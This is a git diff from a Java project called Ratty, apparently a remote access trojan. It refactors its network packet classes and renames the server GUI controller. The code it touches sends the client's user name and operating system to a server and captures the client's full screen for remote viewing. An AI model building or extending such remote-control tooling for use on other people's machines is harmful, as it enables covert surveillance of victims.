diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java
index 1e18d3a..b654554 100644
--- a/Ratty/src/de/sogomn/rat/Ratty.java
+++ b/Ratty/src/de/sogomn/rat/Ratty.java
@@ -8,7 +8,7 @@ import javax.swing.plaf.nimbus.NimbusLookAndFeel;
 
 import de.sogomn.rat.server.ActiveServer;
 import de.sogomn.rat.server.gui.RattyGui;
-import de.sogomn.rat.server.gui.ServerGuiController;
+import de.sogomn.rat.server.gui.RattyGuiController;
 
 
 public final class Ratty {
@@ -53,7 +53,7 @@ public final class Ratty {
 	public static void startServer(final int port) {
 		final ActiveServer server = new ActiveServer(port);
 		final RattyGui gui = new RattyGui();
-		final ServerGuiController controller = new ServerGuiController(gui);
+		final RattyGuiController controller = new RattyGuiController(gui);
 		
 		server.setObserver(controller);
 		server.start();
diff --git a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
index 56009dd..e030ee5 100644
--- a/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/AbstractPingPongPacket.java
@@ -4,28 +4,58 @@ import de.sogomn.rat.ActiveClient;
 
 public abstract class AbstractPingPongPacket implements IPacket {
 	
-	private byte type;
+	protected byte type;
 	
 	public static final byte REQUEST = 0;
 	public static final byte DATA = 1;
 	
+	public AbstractPingPongPacket(final byte type) {
+		this.type = type;
+	}
+	
 	public AbstractPingPongPacket() {
-		type = REQUEST;
+		this(REQUEST);
 	}
 	
+	protected abstract void sendRequest(final ActiveClient client);
+	
+	protected abstract void sendData(final ActiveClient client);
+	
+	protected abstract void receiveRequest(final ActiveClient client);
+	
+	protected abstract void receiveData(final ActiveClient client);
+	
 	protected abstract void executeRequest(final ActiveClient client);
 	
 	protected abstract void executeData(final ActiveClient client);
 	
+	@Override
+	public final void send(final ActiveClient client) {
+		client.writeByte(type);
+		
+		if (type == REQUEST) {
+			sendRequest(client);
+		} else if (type == DATA) {
+			sendData(client);
+		}
+	}
+	
+	@Override
+	public final void receive(final ActiveClient client) {
+		type = client.readByte();
+		
+		if (type == REQUEST) {
+			receiveRequest(client);
+		} else if (type == DATA) {
+			receiveData(client);
+		}
+	}
+	
 	@Override
 	public final void execute(final ActiveClient client) {
 		if (type == REQUEST) {
-			type = DATA;
-			
 			executeRequest(client);
 		} else if (type == DATA) {
-			type = REQUEST;
-			
 			executeData(client);
 		}
 	}
diff --git a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java
index c52b505..00bfa4f 100644
--- a/Ratty/src/de/sogomn/rat/packet/InformationPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/InformationPacket.java
@@ -3,15 +3,10 @@ package de.sogomn.rat.packet;
 import de.sogomn.rat.ActiveClient;
 import de.sogomn.rat.Ratty;
 
-public final class InformationPacket implements IPacket {
+public final class InformationPacket extends AbstractPingPongPacket {
 	
 	private String name, os, version;
 	
-	private byte type;
-	
-	private static final byte REQUEST = 0;
-	private static final byte DATA = 1;
-	
 	public InformationPacket(final String name, final String os, final String version) {
 		this.name = name;
 		this.os = os;
@@ -27,30 +22,42 @@ public final class InformationPacket implements IPacket {
 	}
 	
 	@Override
-	public void send(final ActiveClient client) {
+	protected void sendRequest(final ActiveClient client) {
+		//...
+	}
+	
+	@Override
+	protected void sendData(final ActiveClient client) {
 		client.writeUTF(name);
 		client.writeUTF(os);
 		client.writeUTF(version);
-		client.writeByte(type);
 	}
 	
 	@Override
-	public void receive(final ActiveClient client) {
+	protected void receiveRequest(final ActiveClient client) {
+		//...
+	}
+	
+	@Override
+	protected void receiveData(final ActiveClient client) {
 		name = client.readUTF();
 		os = client.readUTF();
 		version = client.readUTF();
-		type = client.readByte();
 	}
 	
 	@Override
-	public void execute(final ActiveClient client) {
-		if (type == REQUEST) {
-			final String name = System.getProperty("user.name");
-			final String os = System.getProperty("os.name");
-			final InformationPacket packet = new InformationPacket(name, os, Ratty.VERSION);
-			
-			client.addPacket(packet);
-		}
+	protected void executeRequest(final ActiveClient client) {
+		type = DATA;
+		name = System.getProperty("user.name");
+		os = System.getProperty("os.name");
+		version = Ratty.VERSION;
+		
+		client.addPacket(this);
+	}
+	
+	@Override
+	protected void executeData(final ActiveClient client) {
+		//...
 	}
 	
 	public String getName() {
diff --git a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
index 80658cb..5967e6f 100644
--- a/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
+++ b/Ratty/src/de/sogomn/rat/packet/ScreenshotPacket.java
@@ -16,15 +16,10 @@ import de.sogomn.engine.Screen;
 import de.sogomn.engine.Screen.ResizeBehavior;
 import de.sogomn.rat.ActiveClient;
 
-public final class ScreenshotPacket implements IPacket {
+public final class ScreenshotPacket extends AbstractPingPongPacket {
 	
 	private BufferedImage image;
 	
-	private byte type;
-	
-	private static final byte REQUEST = 0;
-	private static final byte DATA = 1;
-	
 	private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB);
 	private static final int SCREEN_WIDTH = 500;
 	private static final int SCREEN_HEIGHT = 500;
@@ -42,13 +37,12 @@ public final class ScreenshotPacket implements IPacket {
 	}
 	
 	@Override
-	public void send(final ActiveClient client) {
-		client.writeByte(type);
-		
-		if (type == REQUEST) {
-			return;
-		}
-		
+	protected void sendRequest(final ActiveClient client) {
+		//...
+	}
+	
+	@Override
+	protected void sendData(final ActiveClient client) {
 		final ByteArrayOutputStream out = new ByteArrayOutputStream();
 		
 		try {
@@ -64,13 +58,12 @@ public final class ScreenshotPacket implements IPacket {
 	}
 	
 	@Override
-	public void receive(final ActiveClient client) {
-		type = client.readByte();
-		
-		if (type == REQUEST) {
-			return;
-		}
-		
+	protected void receiveRequest(final ActiveClient client) {
+		//...
+	}
+	
+	@Override
+	protected void receiveData(final ActiveClient client) {
 		final int length = client.readInt();
 		final byte[] data = new byte[length];
 		
@@ -88,35 +81,42 @@ public final class ScreenshotPacket implements IPacket {
 	}
 	
 	@Override
-	public void execute(final ActiveClient client) {
-		if (type == REQUEST) {
-			final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
-			final Rectangle screenRect = new Rectangle(screen);
-			
-			try {
-				final Robot robot = new Robot();
-				
-				image = robot.createScreenCapture(screenRect);
-				type = DATA;
-			} catch (final AWTException ex) {
-				ex.printStackTrace();
-			}
-			
-			client.addPacket(this);
-		} else if (type == DATA) {
-			final int width = image.getWidth();
-			final int height = image.getHeight();
+	protected void executeRequest(final ActiveClient client) {
+		final Dimension screen = Toolkit.getDefaultToolkit().getScreenSize();
+		final Rectangle screenRect = new Rectangle(screen);
+		
+		try {
+			final Robot robot = new Robot();
 			
-			final Screen screen = new Screen(width, height);
+			type = DATA;
+			image = robot.createScreenCapture(screenRect);
+		} catch (final AWTException ex) {
+			image = NO_IMAGE;
 			
-			screen.addListener(g -> {
-				g.drawImage(image, 0, 0, width, height, null);
-			});
-			screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
-			screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
-			screen.show();
-			screen.redraw();
+			ex.printStackTrace();
 		}
+		
+		client.addPacket(this);
+	}
+	
+	@Override
+	protected void executeData(final ActiveClient client) {
+		final int width = image.getWidth();
+		final int height = image.getHeight();
+		
+		final Screen screen = new Screen(width, height);
+		
+		screen.addListener(g -> {
+			g.drawImage(image, 0, 0, width, height, null);
+		});
+		screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO);
+		screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT);
+		screen.show();
+		screen.redraw();
+	}
+	
+	public BufferedImage getImage() {
+		return image;
 	}
 	
 }
diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
similarity index 91%
rename from Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java
rename to Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
index 4ace8bc..25c0f6b 100644
--- a/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java
+++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java
@@ -12,14 +12,14 @@ import de.sogomn.rat.packet.ScreenshotPacket;
 import de.sogomn.rat.server.ActiveServer;
 import de.sogomn.rat.server.IServerObserver;
 
-public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController {
+public final class RattyGuiController implements IServerObserver, IClientObserver, IGuiController {
 	
 	private RattyGui gui;
 	
 	private ArrayList<ServerClient> clients;
 	private long nextId;
 	
-	public ServerGuiController(final RattyGui gui) {
+	public RattyGuiController(final RattyGui gui) {
 		this.gui = gui;
 		
 		clients = new ArrayList<ServerClient>();